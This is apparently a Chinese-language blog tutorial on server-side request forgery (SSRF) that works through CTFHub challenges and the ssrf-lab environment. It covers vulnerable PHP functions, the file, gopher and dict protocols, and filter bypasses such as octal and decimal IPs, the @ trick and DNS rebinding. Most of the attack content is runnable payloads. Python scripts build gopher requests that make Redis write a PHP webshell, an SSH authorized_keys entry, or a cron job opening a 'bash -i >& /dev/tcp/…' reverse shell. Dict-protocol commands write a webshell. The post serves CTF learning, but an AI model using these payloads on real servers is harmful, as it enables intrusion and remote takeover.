前言
SSRF之前只有简单了解,进行二次学习后简单总结一下,希望能对正在学习SSRF的师傅们有所帮助
漏洞相关信息
漏洞成因
SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
漏洞定义
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
漏洞危害
1、读取或更新内部资源,造成本地文件泄露;
2、将含有漏洞防主机用作代理/跳板攻击内网主机,绕过防火墙等;
3、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
4、对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
5、攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
所涉函数
curl_exec()
curl_exec() curl_exec函数用于执行指定的cURL会话。
举个栗子,代码如下
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//初始化curl会话
$ch=curl_init($url);
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//// 抓取URL并把它传递给浏览器
$result=curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
echo ($result);
?>
这个时候我们就可以利用url参数,来获取内网的部分文件,直接写127.0.0.1:/flag.php
这种即可,赋值给URL
file_get_contents()
file_get_contents() file_get_content函数从用户指定的url获取内容,然后指定一个文件名
进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
对于file_get_contents()
函数,它是可以获取文件内容的,我们这里也简单举个栗子来介绍其利用方式
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
此时就存在一种漏洞,就是可以直接读取内网的文件
fsockopen()
fsockopen() fsockopen — 打开一个网络连接或者一个Unix套接字连接
<?php
$host=$_GET['url'];
$fp = fsockopen("$host",80, $errno, $errstr,30);
if(!$fp){
echo "$errstr ($errno)<br />\n";
}else{
$out ="GET / HTTP/1.1\r\n";
$out .="Host: $host\r\n";
$out .="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)){
echo fgets($fp,1024);
}
fclose($fp);
}
?>
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限,传输原始数据。
所涉协议
file伪协议
file:// — 访问本地文件系统
简单的说呢,就是探测本地的文件,比较官方的解释及用法如下
file:// 协议:
条件 allow_url_fopen:off/on allow_url_include :off/on
作用:用于访问本地文件系统。在include()/require()等参数可控的情况下
如果导入非php文件也会被解析为php
用法:
1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]
以简单题作为栗子来实践一下
题目描述
尝试去读取一下Web目录下的flag.php吧
进入环境,一片空白,发现url参数,利用file伪协议尝试读取flag
url=file:///var/www/html/flag.php
Gopher协议
当探测内网或执行命令时需要发送 POST 请求,我们可以利用 gopher 协议
协议格式:gopher://<host>:<port>/<gopher-path>
,这里的gopher-path就相当于是发送的请求数据包
这个以ctfhub的一道小题来讲解
打开环境没有发现什么东西,扫一下
扫描后发现有个文件名字是flag.php文件,此时我们去访问这个文件
提示只能用本机来访问,此时我们构造如下payload
url=http://127.0.0.1/flag.php
发现是文件上传
此时查看一下文件源码
url=file:///var/www/html/flag.php
源码如下
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
此时发现确实是文件上传,只要文件大于0就可以成功上传,此时我们去尝试上传个文件,不过此时发现没有提交按钮....,无伤大雅,我们可以自己编辑前端代码创建一个提交按钮,构造代码如下
<input type="submit" name="submit">
然后随便上传个文件上去
此时修改host为127.0.0.1,就构造出了我们需要的post数据包,再运用如下脚本进行二次编码即可
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224170729831654278414248977569
Content-Length: 525
Origin: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="submit"
123
-----------------------------224170729831654278414248977569--
123
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="submit"
123
-----------------------------224170729831654278414248977569--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
执行脚本后得到转码后的代码如下
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A98.0%2529%2520Gecko/20100101%2520Firefox/98.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------224170729831654278414248977569%250D%250AContent-Length%253A%2520525%250D%250AOrigin%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A123%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A
此时直接赋值给url参数即可
url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A98.0%2529%2520Gecko/20100101%2520Firefox/98.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------224170729831654278414248977569%250D%250AContent-Length%253A%2520525%250D%250AOrigin%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A123%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A
dict协议
ict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
协议格式:dict://<host>:<port>/<dict-path>
一般用dict://<host>:<port>/info
探测端口应用信息
举个栗子
dict://127.0.0.1:6379 //探测redis是否存活
dict://127.0.0.1:6379/info //探测端口应用信息
RESP协议
RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
因此我们后续构造 payload 时也需要转换成 RESP 协议的格式
*1
$8
flushall
*3
$3
set
$1
1
$64
*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit
其中
*n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成
$n代表着该字符串有 n 个字符
执行成功后服务器会返回 +OK,这个是 redis 服务器对 redis 客户端的响应
常见绕过姿势
URL and IP PASS
当遇见过滤localhost
和127.0.0.1
时,此时是无法直接进行访问内网的,那我们此时该怎么办呢,有以下几种绕过方式
302跳转
网络上存在一个名为sudo.cc
的服务,放访问这个服务时,会自动重定向到127.0.0.1
添加@绕过
平常我们传入的url是url=http://127.0.0.1
,如果
我们传入的url是url=http://quan9i@127.0.0.1
,它此时依旧会访问127.0.0.1
示例如下
题目给出提示
要求必须以http://notfound.ctfhub.com
开头,但我们访问内网文件的话,有这个,该怎么访问呢,这个时候就用到了@
字符,我们构造payload如下
url=http://notfound.ctfhub.com@127.0.0.1/flag.php
特殊数字(例如②)
有时候可以用特殊数字来绕过,构造特殊的127.0.0.1,如1②7.0.0.1
句号替代.绕过
用。
来代替.
省略0
当过滤127.0.0.1
整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的
进制转换
将127.0.0.1
进行转换,转换为其他进制的数从而绕过检测
进制转换结果如下
0177.0.0.1 //八进制
0x7f.0.0.1 //十六进制
2130706433 //十进制
也可以利用php转换脚本来直接得到结果,脚本如下
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
特殊0
在windows中,0代表0.0.0.0
,而在linux下,0代表127.0.0.1
,如下所示
url=http://0/flag.php
DNS重绑定
DNS是Domain Name Service的缩写,计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS 重绑定攻击。
攻击过程如下
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
对于获得的IP进行判断,发现为非黑名单IP,则通过验证
服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
DNS重绑定这里简单的说就是我们先提供一个ip,然后在服务端进行解析的过程中再传127.0.0.1,此时就可能会出现访问到本地文件的情况
举个栗子,我们设置一个为127.0.0.1,另一个随便写一下
ping这个地址,可以发现有两种情况,一种是1.1.1.14
,另一种是127.0.0.1
DNS重绑定用的是这个网站[https://lock.cmpxchg8b.com/rebinder.html]
Redis常见攻击姿势
绝对路径写webshell
前提
1、redis 有 root
2、知道网站绝对路径
靶机开启redis
攻击机连接未授权的redis(博主只是小白,可能有部分有问题)
redis-cli -h ip地址
连接成功,开始写webshell
1、flushall //命令用于清空整个 Redis 服务器的数据
2、set 1 '<?php @eval($_POST[1]);?>' //设置内容为一句话木马
3、config set dir '/var/www/html' //设置文件存储路径
4、config set dbfilename shell.php //设置文件名
5、save //保存
去靶机查看
成功写入
结合SSRF
此时是后端服务器向 redis 服务器发起请求,因此发送的内容需要转换成 RESP 协议的格式,通过结合 gopher 协议达到写入 shell 的目的
通用脚本如下
import urllib
protocol="gopher://"
ip="192.168.134.132" //ip地址
port="6379" //端口
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//写入内容为一句话木马
filename="1.php" //文件名为1.php
path="/var/www/html"//默认路径
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
尝试使用此payload进行攻击
查看该目录下
成功写入
写ssh公钥
条件
1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
在靶机中执行命令ssh-keygen -t rsa
,而后一路回车即可
此时去找公钥和私钥存放位置
find . -name ".ssh"
查看id_rsa.pub内容
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTcPHlQF54WarRY8IQY7+mKkkQm7hWDSn5rHreuLNtd56bJdY/melINxXeQ2c/xiupBWKoKZSz8RwPx+yz36Zvvpfa/DXUN9MA6CJz4zofjmFbQWImSe3pEFJ2V3XbPPSEOz38bXKRK/akLYL9CI2joGh4mv4iQgSxHF40HKrVyl4/UD40S/ujVtaj1AJUcpTQkm9MW9VuQY110WW0HI1LRXyiAlF9EbLxe7WQY78eASI86gI8gil6UHE0Y6v41JxQJHkf63q6fzcIYBrmfePn8K8PzDIViu+Pf+Tx9dP+YodAZo6ZDbsg06aJG1cYHbnG+qWSoeybDcnxhRj2c5PS9zzjWHNE1eWyP9ILs4P4ZDfy8ZX4i9twWdF8FLhpDpogfcKJJ2f1G4tHKdnrbSGVtZw+QoIVmbGtW8feEKgAW71PEK2wBVacrqfpd7AxslCL8RCqETa8iVnR5shNs4cAHxLhIdmF8mmk5ZBE2On/uoWf3x+FSzicmhV6d8zDFkE= root@kali
此时去攻击机上连接redis
flushall
set 1 'id_rsa.pub内容'
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
save
去靶机里查看
成功写入
此时ssh -root@靶机ip
即可成功登录
结合SSRF
脚本如下
import urllib
protocol="gopher://"
ip="192.168.134.132"
port="6379"
filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTcPHlQF54WarRY8IQY7+mKkkQm7hWDSn5rHreuLNtd56bJdY/melINxXeQ2c/xiupBWKoKZSz8RwPx+yz36Zvvpfa/DXUN9MA6CJz4zofjmFbQWImSe3pEFJ2V3XbPPSEOz38bXKRK/akLYL9CI2joGh4mv4iQgSxHF40HKrVyl4/UD40S/ujVtaj1AJUcpTQkm9MW9VuQY110WW0HI1LRXyiAlF9EbLxe7WQY78eASI86gI8gil6UHE0Y6v41JxQJHkf63q6fzcIYBrmfePn8K8PzDIViu+Pf+Tx9dP+YodAZo6ZDbsg06aJG1cYHbnG+qWSoeybDcnxhRj2c5PS9zzjWHNE1eWyP9ILs4P4ZDfy8ZX4i9twWdF8FLhpDpogfcKJJ2f1G4tHKdnrbSGVtZw+QoIVmbGtW8feEKgAW71PEK2wBVacrqfpd7AxslCL8RCqETa8iVnR5shNs4cAHxLhIdmF8mmk5ZBE2On/uoWf3x+FSzicmhV6d8zDFkE= root@kali \n\n"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
运行后得到payload
开启靶机环境,去攻击机进行curl + payload
此时尝试登录
写contrab计划任务反弹shell
条件
redis 有 root
环境是centos,由于 redis 输出的文件都是 644 权限,但是 ubuntu 中的定时任务一定要 600 权限才能实现所以这个方法只适用于 centos
靶机开启redis,攻击连接后执行以下指令
flushall
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.134.132/1234 0>&1\n\n\n\n"
config set dir '/var/spool/cron'
config set dbfilename root
save
结合SSRF
脚本
import urllib
protocol="gopher://"
reverse_ip="192.168.134.132"
reverse_port="1234"
filename="root"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+reverse_ip+":"+reverse_port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
运行后得到
在攻击机上进行监听,同时克隆一个终端进行curl +payload
之后即可成功反弹shell
靶场实战
SSRF-lab
环境搭建
1、从github上下载靶场
代码如下
git clone https://gitclone.com/github.com/m6a-UdS/ssrf-lab.git
2、切换到靶场路径下制作镜像
cd /ssrf-lab/basics
sudo docker build -t ssrf-lab/basic .
3、运行镜像并映射到80端口
docker run -d -p 80:80 ssrf-lab/basic
4、进入容器中配置Redis
docker exec -it 容器id /bin/bash
apt-get install redis-server
5、开启Redis服务
redis-server
访问
收集信息
先测127.0.0.1
发现有回显,说明对ip没有限制,此时尝试读取文件
file:///etc/passwd
获取到密码,此时再用dict伪协议读取redis信息
dict://127.0.0.1:6379/info
构造webshell
此时我们是没有shell.php的,我们尝试写入一个shell.php
dict://127.0.0.1:6379/config:set:dir/var/www/html //设置目录
dict://127.0.0.1:6379/set:shell:"<?php eval($_POST[1])?>" //设置文件内容
发现未成功,尝试十六进制绕过
dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3f\x3e"
dict://127.0.0.1:6379/config:set:dbfilename:shell.php //设置文件名
dict://127.0.0.1:6379/save //保存
去靶机中查看
成功写入
靶场实战
URL and IP PASS
0X01
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
可以发现这个多了parse_url
函数,这个函数的作用如下
parse_url — 解析 URL,返回其组成部分
示例如下
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
输出结果
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
这里的话就是要求是http或者https,然后呢不能出现loca1host
或者127.0.0
,仔细看的话,会发现这里是loca1
而非local
,同时127.0.0
防不了127.0.0.1
,因此是可以沿用上关思路的,不过这里的考点是这个127.0.0.1的绕过,这里给出几个payload
//特殊0
url=http://0/flag.php
url=http://0.0.0/flag.php
//进制绕过
url=http://0177.0.0.1/flag.php //八进制
url=http://0x7f.0.0.1/flag.php //十六进制
url=http://2130706433/flag.php //十进制
0X02
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
这个的话要求host
长度小于5,这个时候127.0.0.1和localhost都是不符合要求的,这个时候我们可以用特殊0来替代
url=http://0/flag.php
还有一个,127.1
也是可行的
0X03
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
FILTER_VALIDATE_IP 要求值是合法的 IP
FILTER_FLAG_NO_PRIV_RANGE 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
这里的话其实就是要求用一个公网ip,不能用私网ip
这里的话可以用https://lock.cmpxchg8b.com/rebinder.html来构造DNS重绑定
然后作为host赋值给url即可
0X04
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
可以看到的话就是这里要求http开头,中间是.ctf
,然后中间可以写内容,最后以show结尾
这个时候我们就可以利用刚刚的思路,来构造url
url=http://ctf.@127.0.0.1/flag.php#show
Gopher协议实战
打无密码的mysql
进入靶场是一个登录界面
提示了是无密码的mysql,那就尝试利用gopher工具来打
python2 gopherus.py --exploit mysql
用户名为root,内容为一句话木马即可
而后我们看这道题
源代码中的returl应该就是突破口,我们随便输入一个进入check.php界面,此时将刚刚得到的payload进行url编码后赋值给returl即可,此时访问1.php
绝对路径写webshell实战
题目提示
打redis
代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
提示了打redis,那思路就比较明显了,可以利用工具打然后直接赋值,这里手动操作一下
设置本地数据库存放目录
写一句话木马
但此时的回显不是ok,说明可能被过滤了,这里换成十六进制绕过
设置文件名
访问
获取flag
参考文献
《从0到1 CTFer成长之路》
https://xz.aliyun.com/t/7333#toc-0
https://xz.aliyun.com/t/5665#toc-0
https://cloud.tencent.com/developer/article/1437452
https://www.cnblogs.com/wjrblogs/p/14456190.html
https://www.cnblogs.com/bmjoker/p/9548962.html
https://www.freebuf.com/articles/web/333318.html
SSRF-Lab环境搭建